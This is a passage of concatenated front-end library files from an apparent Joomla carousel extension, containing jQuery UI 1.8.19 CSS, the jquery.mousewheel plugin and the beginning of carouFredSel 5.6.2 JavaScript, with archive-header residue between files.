.ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 2px; -webkit-border-top-left-radius: 2px; -khtml-border-top-left-radius: 2px; border-top-left-radius: 2px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 2px; -webkit-border-top-right-radius: 2px; -khtml-border-top-right-radius: 2px; border-top-right-radius: 2px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 2px; -webkit-border-bottom-left-radius: 2px; -khtml-border-bottom-left-radius: 2px; border-bottom-left-radius: 2px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 2px; -webkit-border-bottom-right-radius: 2px; -khtml-border-bottom-right-radius: 2px; border-bottom-right-radius: 2px; } /* Overlays */ .ui-widget-overlay { background: #eeeeee url(images/ui-bg_flat_0_eeeeee_40x100.png) 50% 50% repeat-x; opacity: .80;filter:Alpha(Opacity=80); } .ui-widget-shadow { margin: -4px 0 0 -4px; padding: 4px; background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .60;filter:Alpha(Opacity=60); -moz-border-radius: 0px; -khtml-border-radius: 0px; -webkit-border-radius: 0px; border-radius: 0px; }/*! * jQuery UI Resizable 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Resizable#theming */ .ui-resizable { position: relative;} .ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block; } .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}/*! * jQuery UI Selectable 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Selectable#theming */ .ui-selectable-helper { position: absolute; z-index: 100; border:1px dotted black; } /*! * jQuery UI Accordion 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Accordion#theming */ /* IE/Win - Fix animation bug - #4615 */ .ui-accordion { width: 100%; } .ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; } .ui-accordion .ui-accordion-li-fix { display: inline; } .ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } .ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em .7em; } .ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } .ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } .ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } .ui-accordion .ui-accordion-content-active { display: block; } /*! * jQuery UI Autocomplete 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Autocomplete#theming */ .ui-autocomplete { position: absolute; cursor: default; } /* workarounds */ * html .ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ /* * jQuery UI Menu @VERSION * * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Menu#theming */ .ui-menu { list-style:none; padding: 2px; margin: 0; display:block; float: left; } .ui-menu .ui-menu { margin-top: -3px; } .ui-menu .ui-menu-item { margin:0; padding: 0; zoom: 1; float: left; clear: left; width: 100%; } .ui-menu .ui-menu-item a { text-decoration:none; display:block; padding:.2em .4em; line-height:1.5; zoom:1; } .ui-menu .ui-menu-item a.ui-state-hover, .ui-menu .ui-menu-item a.ui-state-active { font-weight: normal; margin: -1px; } /*! * jQuery UI Button 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Button#theming */ .ui-button { display: inline-block; position: relative; padding: 0; margin-right: .1em; text-decoration: none !important; cursor: pointer; text-align: center; zoom: 1; overflow: visible; } /* the overflow property removes extra width in IE */ .ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ button.ui-button-icon-only { width: 2.4em; } /* button elements seem to need a little more width */ .ui-button-icons-only { width: 3.4em; } button.ui-button-icons-only { width: 3.7em; } /*button text element */ .ui-button .ui-button-text { display: block; line-height: 1.4; } .ui-button-text-only .ui-button-text { padding: .4em 1em; } .ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; } .ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } .ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } .ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } /* no icon support for input elements, provide padding by default */ input.ui-button { padding: .4em 1em; } /*button icon element(s) */ .ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { position: absolute; top: 50%; margin-top: -8px; } .ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } .ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } .ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } /*button sets*/ .ui-buttonset { margin-right: 7px; } .ui-buttonset .ui-button { margin-left: 0; margin-right: -.3em; } /* workarounds */ button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ /*! * jQuery UI Dialog 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Dialog#theming */ .ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } .ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } .ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } .ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } .ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } .ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } .ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } .ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } .ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } .ui-draggable .ui-dialog-titlebar { cursor: move; } /*! * jQuery UI Slider 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Slider#theming */ .ui-slider { position: relative; text-align: left; } .ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; } .ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } .ui-slider-horizontal { height: .8em; } .ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } .ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } .ui-slider-horizontal .ui-slider-range-min { left: 0; } .ui-slider-horizontal .ui-slider-range-max { right: 0; } .ui-slider-vertical { width: .8em; height: 100px; } .ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } .ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } .ui-slider-vertical .ui-slider-range-min { bottom: 0; } .ui-slider-vertical .ui-slider-range-max { top: 0; }/*! * jQuery UI Tabs 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Tabs#theming */ .ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ .ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } .ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } .ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ .ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } .ui-tabs .ui-tabs-hide { display: none !important; } /*! * jQuery UI Datepicker 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Datepicker#theming */ .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } .ui-datepicker .ui-datepicker-prev { left:2px; } .ui-datepicker .ui-datepicker-next { right:2px; } .ui-datepicker .ui-datepicker-prev-hover { left:1px; } .ui-datepicker .ui-datepicker-next-hover { right:1px; } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } .ui-datepicker select.ui-datepicker-month-year {width: 100%;} .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 49%;} .ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } .ui-datepicker td { border: 0; padding: 1px; } .ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width:auto; } .ui-datepicker-multi .ui-datepicker-group { float:left; } .ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } .ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } .ui-datepicker-rtl .ui-datepicker-group { float:right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } /* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ .ui-datepicker-cover { display: none; /*sorry for IE5*/ display/**/: block; /*sorry for IE5*/ position: absolute; /*must have*/ z-index: -1; /*must have*/ filter: mask(); /*must have*/ top: -4px; /*must have*/ left: -4px; /*must have*/ width: 200px; /*must have*/ height: 200px; /*must have*/ }/*! * jQuery UI Progressbar 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Progressbar#theming */ .ui-progressbar { height:2em; text-align: left; overflow: hidden; } .ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; }PKs>\wpp@com_unitehcarousel/assets/fred-carousel/jquery.mousewheel.min.jsnuW+A/*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.6 * * Requires: 1.2.2+ */ (function(a){function d(b){var c=b||window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1*e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch||a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a=b.length;a;)this.addEventListener(b[--a],d,!1);else this.onmousewheel=d},teardown:function(){if(this.removeEventListener)for(var a=b.length;a;)this.removeEventListener(b[--a],d,!1);else this.onmousewheel=null}},a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(jQuery) PKs>\^7,,Dcom_unitehcarousel/assets/fred-carousel/jquery.carouFredSel-5.6.2.jsnuW+A/* * jQuery carouFredSel 5.6.2 * Demo's and documentation: * caroufredsel.frebsite.nl * * Copyright (c) 2012 Fred Heusschen * www.frebsite.nl * * Dual licensed under the MIT and GPL licenses. * http://en.wikipedia.org/wiki/MIT_License * http://en.wikipedia.org/wiki/GNU_General_Public_License */ (function($) { // LOCAL if ($.fn.carouFredSel) return; $.fn.carouFredSel = function(options, configs) { if (this.length == 0) { debug(true, 'No element found for "'+this.selector+'".'); return this; } if (this.length > 1) { return this.each(function() { $(this).carouFredSel(options, configs); }); } var $cfs = this, $tt0 = this[0]; if ($cfs.data('cfs_isCarousel')) { var starting_position = $cfs.triggerHandler('_cfs_triggerEvent', 'currentPosition'); $cfs.trigger('_cfs_triggerEvent', ['destroy', [true]]); } else { var starting_position = false; } $cfs._cfs_init = function(o, setOrig, start) { o = go_getObject($tt0, o); var obs = ['items', 'scroll', 'auto', 'prev', 'next', 'pagination']; for (var a = 0, l = obs.length; a < l; a++) { o[obs[a]] = go_getObject($tt0, o[obs[a]]); } if (typeof o.scroll == 'number') { if (o.scroll <= 50) o.scroll = { 'items' : o.scroll }; else o.scroll = { 'duration' : o.scroll }; } else { if (typeof o.scroll == 'string') o.scroll = { 'easing' : o.scroll }; } if (typeof o.items == 'number') o.items = { 'visible' : o.items }; else if ( o.items == 'variable') o.items = { 'visible' : o.items, 'width' : o.items, 'height' : o.items }; if (typeof o.items != 'object') o.items = {}; if (setOrig) opts_orig = $.extend(true, {}, $.fn.carouFredSel.defaults, o); opts = $.extend(true, {}, $.fn.carouFredSel.defaults, o); if (typeof opts.items.visibleConf != 'object') opts.items.visibleConf = {}; if (opts.items.start == 0 && typeof start == 'number') { opts.items.start = start; } crsl.upDateOnWindowResize = (opts.responsive); crsl.direction = (opts.direction == 'up' || opts.direction == 'left') ? 'next' : 'prev'; var dims = [ ['width' , 'innerWidth' , 'outerWidth' , 'height' , 'innerHeight' , 'outerHeight' , 'left', 'top' , 'marginRight' , 0, 1, 2, 3], ['height' , 'innerHeight' , 'outerHeight' , 'width' , 'innerWidth' , 'outerWidth' , 'top' , 'left', 'marginBottom', 3, 2, 1, 0] ]; var dn = dims[0].length, dx = (opts.direction == 'right' || opts.direction == 'left') ? 0 : 1; opts.d = {}; for (var d = 0; d < dn; d++) { opts.d[dims[0][d]] = dims[dx][d]; } var all_itm = $cfs.children(); // check visible items switch (typeof opts.items.visible) { // min and max visible items case 'object': opts.items.visibleConf.min = opts.items.visible.min; opts.items.visibleConf.max = opts.items.visible.max; opts.items.visible = false; break; case 'string': // variable visible items if (opts.items.visible == 'variable') { opts.items.visibleConf.variable = true; // adjust string visible items } else { opts.items.visibleConf.adjust = opts.items.visible; } opts.items.visible = false; break; // function visible items case 'function': opts.items.visibleConf.adjust = opts.items.visible; opts.items.visible = false; break; } // set items filter if (typeof opts.items.filter == 'undefined') { opts.items.filter = (all_itm.filter(':hidden').length > 0) ? ':visible' : '*'; } // primary size set to auto -> measure largest size and set it if (opts[opts.d['width']] == 'auto') { opts[opts.d['width']] = ms_getTrueLargestSize(all_itm, opts, 'outerWidth'); } // primary size percentage if (ms_isPercentage(opts[opts.d['width']]) && !opts.responsive) { opts[opts.d['width']] = ms_getPercentage(ms_getTrueInnerSize($wrp.parent(), opts, 'innerWidth'), opts[opts.d['width']]); crsl.upDateOnWindowResize = true; } // secondary size set to auto -> measure largest size and set it if (opts[opts.d['height']] == 'auto') { opts[opts.d['height']] = ms_getTrueLargestSize(all_itm, opts, 'outerHeight'); } // primary item-size not set if (!opts.items[opts.d['width']]) { // responsive carousel -> set to largest if (opts.responsive) { debug(true, 'Set a '+opts.d['width']+' for the items!'); opts.items[opts.d['width']] = ms_getTrueLargestSize(all_itm, opts, 'outerWidth'); // non-responsive -> measure it or set to "variable" } else { opts.items[opts.d['width']] = (ms_hasVariableSizes(all_itm, opts, 'outerWidth')) ? 'variable' : all_itm[opts.d['outerWidth']](true); } } // secondary item-size not set -> measure it or set to "variable" if (!opts.items[opts.d['height']]) { opts.items[opts.d['height']] = (ms_hasVariableSizes(all_itm, opts, 'outerHeight')) ? 'variable' : all_itm[opts.d['outerHeight']](true); } // secondary size not set -> set to secondary item-size if (!opts[opts.d['height']]) { opts[opts.d['height']] = opts.items[opts.d['height']]; } // visible-items not set if (!opts.items.visible && !opts.responsive) { // primary item-size variable -> set visible items variable if (opts.items[opts.d['width']] == 'variable') { opts.items.visibleConf.variable = true; } if (!opts.items.visibleConf.variable) { // primary size is number -> calculate visible-items if (typeof opts[opts.d['width']] == 'number') { opts.items.visible = Math.floor(opts[opts.d['width']] / opts.items[opts.d['width']]); } else { // measure and calculate primary size and visible-items var maxS = ms_getTrueInnerSize($wrp.parent(), opts, 'innerWidth'); opts.items.visible = Math.floor(maxS / opts.items[opts.d['width']]); opts[opts.d['width']] = opts.items.visible * opts.items[opts.d['width']]; if (!opts.items.visibleConf.adjust) opts.align = false; } if (opts.items.visible == 'Infinity' || opts.items.visible < 1) { debug(true, 'Not a valid number of visible items: Set to "variable".'); opts.items.visibleConf.variable = true; } } } // primary size not set -> calculate it or set to "variable" if (!opts[opts.d['width']]) { opts[opts.d['width']] = 'variable'; if (!opts.responsive && opts.items.filter == '*' && !opts.items.visibleConf.variable && opts.items[opts.d['width']] != 'variable') { opts[opts.d['width']] = opts.items.visible * opts.items[opts.d['width']]; opts.align = false; } } // variable primary item-sizes with variabe visible-items if (opts.items.visibleConf.variable) { opts.maxDimention = (opts[opts.d['width']] == 'variable') ? ms_getTrueInnerSize($wrp.parent(), opts, 'innerWidth') : opts[opts.d['width']]; if (opts.align === false) { opts[opts.d['width']] = 'variable'; } opts.items.visible = gn_getVisibleItemsNext(all_itm, opts, 0); // set visible items by filter } else if (opts.items.filter != '*') { opts.items.visibleConf.org = opts.items.visible; opts.items.visible = gn_getVisibleItemsNextFilter(all_itm, opts, 0); } // align not set -> set to center if primary size is number if (typeof opts.align == 'undefined') { opts.align = (opts[opts.d['width']] == 'variable') ? false : 'center'; } opts.items.visible = cf_getItemsAdjust(opts.items.visible, opts, opts.items.visibleConf.adjust, $tt0); opts.items.visibleConf.old = opts.items.visible; opts.usePadding = false; if (opts.responsive) { if (!opts.items.visibleConf.min) opts.items.visibleConf.min = opts.items.visible; if (!opts.items.visibleConf.max) opts.items.visibleConf.max = opts.items.visible; opts.align = false; opts.padding = [0, 0, 0, 0]; var isVisible = $wrp.is(':visible'); if (isVisible) $wrp.hide(); var fullS = ms_getPercentage(ms_getTrueInnerSize($wrp.parent(), opts, 'innerWidth'), opts[opts.d['width']]); if (typeof opts[opts.d['width']] == 'number' && fullS < opts[opts.d['width']]) { fullS = opts[opts.d['width']]; } if (isVisible) $wrp.show(); var visb = cf_getItemAdjustMinMax(Math.ceil(fullS / opts.items[opts.d['width']]), opts.items.visibleConf); if (visb > all_itm.length) { visb = all_itm.length; } var newS = Math.floor(fullS/visb), seco = opts[opts.d['height']], secp = ms_isPercentage(seco); all_itm.each(function() { var $t = $(this), nw = newS - ms_getPaddingBorderMargin($t, opts, 'Width'); $t[opts.d['width']](nw); if (secp) { $t[opts.d['height']](ms_getPercentage(nw, seco)); } }); opts.items.visible = visb; opts.items[opts.d['width']] = newS; opts[opts.d['width']] = visb * newS; } else { opts.padding = cf_getPadding(opts.padding); if (opts.align == 'top') opts.align = 'left'; if (opts.align == 'bottom') opts.align = 'right'; switch (opts.align) { // align: center, left or right case 'center': case 'left': case 'right': if (opts[opts.d['width']] != 'variable') { var p = cf_getAlignPadding(gi_getCurrentItems(all_itm, opts), opts); opts.usePadding = true; opts.padding[opts.d[1]] = p[1]; opts.padding[opts.d[3]] = p[0]; } break; // padding default: opts.align = false; opts.usePadding = ( opts.padding[0] == 0 && opts.padding[1] == 0 && opts.padding[2] == 0 && opts.padding[3] == 0 ) ? false : true; break; } } if (typeof opts.cookie == 'boolean' && opts.cookie) opts.cookie = 'caroufredsel_cookie_'+$cfs.attr('id'); if (typeof opts.items.minimum != 'number') opts.items.minimum = opts.items.visible; if (typeof opts.scroll.duration != 'number') opts.scroll.duration = 500; if (typeof opts.scroll.items == 'undefined') opts.scroll.items = (opts.items.visibleConf.variable || opts.items.filter != '*') ? 'visible' : opts.items.visible; opts.auto = go_getNaviObject($tt0, opts.auto, 'auto'); opts.prev = go_getNaviObject($tt0, opts.prev); opts.next = go_getNaviObject($tt0, opts.next); opts.pagination = go_getNaviObject($tt0, opts.pagination, 'pagination'); opts.auto = $.extend(true, {}, opts.scroll, opts.auto); opts.prev = $.extend(true, {}, opts.scroll, opts.prev); opts.next = $.extend(true, {}, opts.scroll, opts.next); opts.pagination = $.extend(true, {}, opts.scroll, opts.pagination); if (typeof opts.pagination.keys != 'boolean') opts.pagination.keys = false; if (typeof opts.pagination.anchorBuilder != 'function' && opts.pagination.anchorBuilder !== false) opts.pagination.anchorBuilder = $.fn.carouFredSel.pageAnchorBuilder; if (typeof opts.auto.play != 'boolean') opts.auto.play = true; if (typeof opts.auto.delay != 'number') opts.auto.delay = 0; if (typeof opts.auto.pauseOnEvent == 'undefined') opts.auto.pauseOnEvent 